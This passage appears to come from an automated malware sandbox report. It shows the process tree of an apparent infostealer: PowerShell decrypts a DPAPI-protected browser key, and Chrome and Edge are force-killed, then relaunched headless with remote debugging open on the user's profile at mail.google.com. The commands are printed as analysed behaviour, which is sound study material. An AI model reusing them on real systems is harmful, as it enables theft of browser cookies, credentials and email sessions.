      powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,220,106,105,133,209,83,31,74,186,57,22,40,46,29,65,164,16,0,0,0,30,0,0,0,77,0,105,0,99,0,114,0,111,0,115,0,111,0,102,0,116,0,32,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,69,91,243,10,123,36,99,130,213,51,107,81,75,118,176,41,179,36,215,117,237,219,12,119,128,96,6,224,249,120,165,150,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,79,248,92,116,164,120,190,193,255,191,255,82,71,179,59,190,214,232,252,17,200,194,172,62,150,104,29,39,142,57,76,232,48,0,0,0,69,217,89,30,98,255,25,18,50,83,231,234,73,126,183,191,49,234,86,91,65,137,140,166,196,53,126,188,202,204,110,66,35,54,97,244,124,197,245,207,19,240,57,191,127,131,41,229,64,0,0,0,169,15,164,87,185,203,244,43,43,111,134,29,43,156,227,157,21,93,207,37,54,187,129,150,53,203,78,140,212,117,127,181,154,159,140,124,53,145,182,222,104,194,154,7,35,114,62,148,182,41,76,174,81,57,102,144,123,24,190,97,40,83,151,11), $null, 'CurrentUser')
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1304
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM chrome.exe"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:944
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM chrome.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:3300
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --headless --restore-last-session --remote-debugging-port=9223 --remote-allow-origins=* "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --profile-directory=Default https://mail.google.com
    3⤵
    - Uses browser remote debugging
    - Suspicious use of WriteProcessMemory
    PID:6056
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x12c,0x130,0x134,0x108,0x138,0x7ff9caebc728,0x7ff9caebc734,0x7ff9caebc740
      4⤵
      PID:5684
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM chrome.exe"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2972
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM chrome.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:3448
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --headless --restore-last-session --remote-debugging-port=9224 --remote-allow-origins=* "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --profile-directory=Default https://mail.google.com
    3⤵
    - Uses browser remote debugging
    - Enumerates system info in registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:1900
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x12c,0x130,0x134,0x108,0x138,0x7ff9cea4c728,0x7ff9cea4c734,0x7ff9cea4c740
      4⤵
      PID:1100
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --headless --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1948,i,12366957136132271261,8717825660536327775,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=1944 /prefetch:2
      4⤵
      PID:5896
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --no-pre-read-main-dll --force-high-res-timeticks=disabled --field-trial-handle=1948,i,12366957136132271261,8717825660536327775,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=1984 /prefetch:11
      4⤵
      System Time Discovery
      PID:5676
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --field-trial-handle=1948,i,12366957136132271261,8717825660536327775,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3008 /prefetch:13
      4⤵
      PID:4160
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --remote-debugging-port=9224 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=1948,i,12366957136132271261,8717825660536327775,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3600 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:5248
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --remote-debugging-port=9224 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=1948,i,12366957136132271261,8717825660536327775,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3568 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:4912
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --remote-debugging-port=9224 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --field-trial-handle=1948,i,12366957136132271261,8717825660536327775,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4012 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:3092
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --remote-debugging-port=9224 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=1948,i,12366957136132271261,8717825660536327775,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4248 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:4484
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --field-trial-handle=1948,i,12366957136132271261,8717825660536327775,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4808 /prefetch:14
      4⤵
      PID:4488
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --remote-debugging-port=9224 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --field-trial-handle=1948,i,12366957136132271261,8717825660536327775,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4824 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:5740
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --remote-debugging-port=9224 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --field-trial-handle=1948,i,12366957136132271261,8717825660536327775,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5056 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:5008
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --field-trial-handle=1948,i,12366957136132271261,8717825660536327775,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=6192 /prefetch:14
      4⤵
      PID:6668
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --remote-debugging-port=9224 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --field-trial-handle=1948,i,12366957136132271261,8717825660536327775,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=6312 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:6716
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --remote-debugging-port=9224 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --field-trial-handle=1948,i,12366957136132271261,8717825660536327775,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=6352 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:6728
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --remote-debugging-port=9224 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --field-trial-handle=1948,i,12366957136132271261,8717825660536327775,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=6612 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:7020
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --remote-debugging-port=9224 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --field-trial-handle=1948,i,12366957136132271261,8717825660536327775,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=6620 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:2148
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --field-trial-handle=1948,i,12366957136132271261,8717825660536327775,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=6572 /prefetch:14
      4⤵
      PID:5624
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --remote-debugging-port=9224 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --field-trial-handle=1948,i,12366957136132271261,8717825660536327775,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=6568 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:6944
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --remote-debugging-port=9224 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --field-trial-handle=1948,i,12366957136132271261,8717825660536327775,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5492 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:6448
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --field-trial-handle=1948,i,12366957136132271261,8717825660536327775,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=6744 /prefetch:14
      4⤵
      PID:7032
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --remote-debugging-port=9224 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --field-trial-handle=1948,i,12366957136132271261,8717825660536327775,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5860 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:6976
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --remote-debugging-port=9224 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --field-trial-handle=1948,i,12366957136132271261,8717825660536327775,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=6204 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:5960
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --field-trial-handle=1948,i,12366957136132271261,8717825660536327775,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5584 /prefetch:14
      4⤵
      PID:6588
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --remote-debugging-port=9224 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --field-trial-handle=1948,i,12366957136132271261,8717825660536327775,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=6744 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:2084
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --remote-debugging-port=9224 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --field-trial-handle=1948,i,12366957136132271261,8717825660536327775,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=6416 /prefetch:9
      4⤵
      Uses browser remote debugging
      PID:3732
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM msedge.exe"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5484
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM msedge.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:4124
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless --restore-last-session --remote-debugging-port=9222 --remote-allow-origins=* "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --profile-directory=Default https://mail.google.com
    3⤵
    - Uses browser remote debugging
    - Enumerates system info in registry
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:2808
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x25c,0x260,0x264,0x258,0x284,0x7ff9c72bc188,0x7ff9c72bc194,0x7ff9c72bc1a0
      4⤵
      PID:2424
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --headless --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --field-trial-handle=2136,i,110921871809712368,763300089992681637,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2132 /prefetch:2
      4⤵
      PID:2144
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2136,i,110921871809712368,763300089992681637,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2168 /prefetch:11
      4⤵
      System Time Discovery
      PID:3132
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2136,i,110921871809712368,763300089992681637,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3904 /prefetch:13
      4⤵
      PID:4500
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --remote-debugging-port=9222 --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --field-trial-handle=2136,i,110921871809712368,763300089992681637,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3928 /prefetch:9
      4⤵
      Uses browser remote debugging
      PID:5920
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --pdf-upsell-enabled --force-high-res-timeticks=disabled --remote-debugging-port=9222 --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --field-trial-handle=2136,i,110921871809712368,763300089992681637,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4320 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:1812
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --pdf-upsell-enabled --force-high-res-timeticks=disabled --remote-debugging-port=9222 --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --field-trial-handle=2136,i,110921871809712368,763300089992681637,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4312 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:5972
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2136,i,110921871809712368,763300089992681637,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5244 /prefetch:14
      4⤵
      PID:3732
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --pdf-upsell-enabled --force-high-res-timeticks=disabled --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --always-read-main-dll --field-trial-handle=2136,i,110921871809712368,763300089992681637,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5236 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:4712
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2136,i,110921871809712368,763300089992681637,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5452 /prefetch:14
      4⤵
      PID:2784
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2136,i,110921871809712368,763300089992681637,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5492 /prefetch:14
      4⤵
      PID:1476
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2136,i,110921871809712368,763300089992681637,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=6120 /prefetch:14
      4⤵
      PID:6824
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2136,i,110921871809712368,763300089992681637,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=6120 /prefetch:14
      4⤵
      PID:6836
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2136,i,110921871809712368,763300089992681637,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=6524 /prefetch:14
      4⤵
      PID:6412
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
